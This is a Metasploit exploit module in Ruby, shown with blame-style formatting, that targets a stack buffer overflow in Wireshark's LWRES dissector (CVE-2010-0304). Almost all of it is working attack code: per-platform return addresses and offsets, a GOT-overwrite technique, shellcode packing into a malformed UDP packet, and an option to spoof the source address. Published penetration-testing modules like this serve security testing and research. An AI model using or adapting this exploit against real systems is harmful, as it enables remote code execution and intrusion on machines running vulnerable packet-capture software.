2010-02-02 06:20:18 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
#require 'racket'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = GreatRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Udp
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and 1.2.0 through
|
|
|
|
1.2.5 allows remote attackers to execute arbitrary code due to a stack-based buffer
|
|
|
|
overflow. This bug found and reported by babi.
|
|
|
|
|
|
|
|
This particular exploit targets the dissect_getaddrsbyname_request function. Several
|
|
|
|
other functions also contain potentially exploitable stack-based buffer overflows.
|
|
|
|
|
|
|
|
NOTE: In order to reach the vulnerable code, the wireshark/tshark instance must
|
|
|
|
have host name resolving turned on. The code is reached only when the packet
|
|
|
|
dissection is rendered.
|
|
|
|
|
|
|
|
The Windows version (of 1.2.5 at least) is compiled with /GS, which prevents
|
|
|
|
exploitation via the return address on the stack.
|
|
|
|
},
|
|
|
|
'Author' => [ 'jduck' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2010-02-02 12:37:07 +00:00
|
|
|
[ 'CVE', '2010-0304' ],
|
|
|
|
[ 'OSVDB', '61987' ],
|
2010-02-02 06:20:18 +00:00
|
|
|
[ 'BID', '37985' ],
|
|
|
|
[ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2010-02.html' ],
|
|
|
|
[ 'URL', 'http://anonsvn.wireshark.org/viewvc/trunk-1.2/epan/dissectors/packet-lwres.c?view=diff&r1=31596&r2=28492&diff_format=h' ]
|
|
|
|
],
|
|
|
|
'Privileged' => true, # at least capture privilege
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 512,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'DisableNops' => true,
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',
|
|
|
|
# breakpoint: lwres.so + 0x2ce2
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Platform' => 'linux',
|
|
|
|
# conveniently, edx pointed at our string..
|
|
|
|
# and so, we write it to g_slist_append's GOT entry just before its called.
|
|
|
|
# pwnt.
|
|
|
|
#
|
|
|
|
# mov [ebx+0xc],edx / jmp 0x804fc40 -->
|
|
|
|
# mov [esp+4],eax / mov eax,[edi+8] / mov [esp],eax / call g_slist_append
|
|
|
|
#
|
|
|
|
'Ret' => 0x804fc85, # see above..
|
|
|
|
'RetOff' => 376,
|
|
|
|
'Readable' => 0x804fa04, # just anything
|
|
|
|
'GotAddr' => 0x080709c8 # objdump -R tshark | grep g_slist_append
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[ 'wireshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Platform' => 'linux',
|
|
|
|
'Ret' => 0xdeadbeef, # see tshark target (same deal, diff addr)
|
|
|
|
'RetOff' => 376,
|
|
|
|
'Readable' => 0x8066a40, # just any old readable addr
|
|
|
|
'GotAddr' => 0x818601c # objdump -R wireshark | grep g_slist_append
|
|
|
|
}
|
|
|
|
],
|
|
|
|
|
|
|
|
[ 'wireshark 1.2.5 on RHEL 5.4 (x64)',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_X86_64,
|
|
|
|
'Platform' => 'linux',
|
|
|
|
'Ret' => 0xfeedfed5deadbeef,
|
|
|
|
'RetOff' => 152,
|
|
|
|
}
|
|
|
|
],
|
|
|
|
|
|
|
|
[ 'wireshark 1.2.5 on Mac OS X 10.5 (x86)',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Platform' => 'osx',
|
|
|
|
'Ret' => 0xdeadbeef,
|
|
|
|
'RetOff' => 268,
|
|
|
|
}
|
|
|
|
],
|
|
|
|
|
|
|
|
[ 'wireshark 1.2.5 on Windows XP SP3 (x86)',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Ret' => 0xdeadbeef,
|
|
|
|
'RetOff' => 146,
|
|
|
|
'LenOff' => 124,
|
|
|
|
'TvbOff' => 152
|
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jan 27 2010'))
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
Opt::RPORT(921),
|
|
|
|
OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil])
|
|
|
|
], self.class)
|
|
|
|
|
|
|
|
deregister_options('FILTER','PCAPFILE')
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
|
|
|
ret_offset = target['RetOff']
|
|
|
|
|
|
|
|
# we have different techniques depending on the target
|
|
|
|
if (target.name =~ /Debian 5\.0\.3/)
|
|
|
|
str = make_nops(ret_offset - payload.encoded.length - 16)
|
|
|
|
str << payload.encoded
|
|
|
|
str << [target['GotAddr'] - 0xc].pack('V')
|
|
|
|
str << rand_text(4)
|
|
|
|
str << [target['Readable']].pack('V')
|
|
|
|
str << rand_text(4)
|
|
|
|
# ret is next
|
|
|
|
#str = Rex::Text.pattern_create(ret_offset)
|
|
|
|
else
|
|
|
|
# this is just a simple DoS payload
|
|
|
|
str = Rex::Text.pattern_create(ret_offset)
|
|
|
|
#str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+6").encode_string
|
|
|
|
end
|
|
|
|
|
|
|
|
# add return address
|
|
|
|
#XXX: this isn't working?
|
|
|
|
#str << Rex::Arch.pack_addr(target.arch, target.ret)
|
|
|
|
str << [target.ret].pack('V')
|
|
|
|
|
|
|
|
# needed in some cases (windows)
|
|
|
|
len_offset = target['LenOff']
|
|
|
|
if (len_offset and len_offset > 0)
|
|
|
|
str[len_offset,2] = [0x101].pack('v')
|
|
|
|
end
|
|
|
|
|
|
|
|
# this method doesn't really help much, as far as i can tell
|
|
|
|
# the following ends up overwriting arguments to the function
|
|
|
|
# (tested on windows)
|
|
|
|
tvb_offset = target['TvbOff']
|
|
|
|
if (tvb_offset and tvb_offset > 0)
|
|
|
|
str[tvb_offset,4] = [0x74720201].pack('V') # tvb
|
|
|
|
ptr_to_two_ptrs = 0x0277118c
|
|
|
|
str[tvb_offset+4,4] = [ptr_to_two_ptrs-0x10].pack('V') # tree
|
|
|
|
end
|
|
|
|
|
|
|
|
# form the packet's payload!
|
|
|
|
sploit = "\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01"
|
|
|
|
sploit << "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
sploit << "\x00\x00\x00\x01"
|
|
|
|
sploit << [str.length].pack('n')
|
|
|
|
sploit << str
|
|
|
|
sploit << "\x00\x00"
|
|
|
|
|
|
|
|
shost = datastore['SHOST']
|
|
|
|
if (shost)
|
|
|
|
print_status("Sending malformed LWRES packet to #{rhost} (spoofed from #{shost})")
|
|
|
|
open_pcap
|
|
|
|
|
|
|
|
n = Racket::Racket.new
|
|
|
|
|
|
|
|
n.l3 = Racket::L3::IPv4.new
|
|
|
|
n.l3.src_ip = datastore['SHOST'] || Rex::Socket.source_address(rhost)
|
|
|
|
n.l3.dst_ip = rhost
|
|
|
|
n.l3.protocol = 6
|
|
|
|
n.l3.id = rand(0x10000)
|
|
|
|
n.l3.ttl = 64
|
|
|
|
|
|
|
|
n.l4 = Racket::L4::UDP.new
|
|
|
|
n.l4.src_port = rand((2**16)-1024)+1024
|
|
|
|
n.l4.dst_port = datastore['RPORT'].to_i
|
|
|
|
|
|
|
|
n.l4.payload = sploit
|
|
|
|
|
|
|
|
n.l4.fix!(n.l3.src_ip, n.l3.dst_ip)
|
|
|
|
pkt = n.pack
|
|
|
|
|
|
|
|
capture_sendto(pkt, rhost)
|
|
|
|
close_pcap
|
|
|
|
|
|
|
|
handler
|
|
|
|
else
|
|
|
|
print_status("Sending malformed LWRES packet to #{rhost}")
|
|
|
|
connect_udp
|
|
|
|
udp_sock.put(sploit)
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect_udp
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|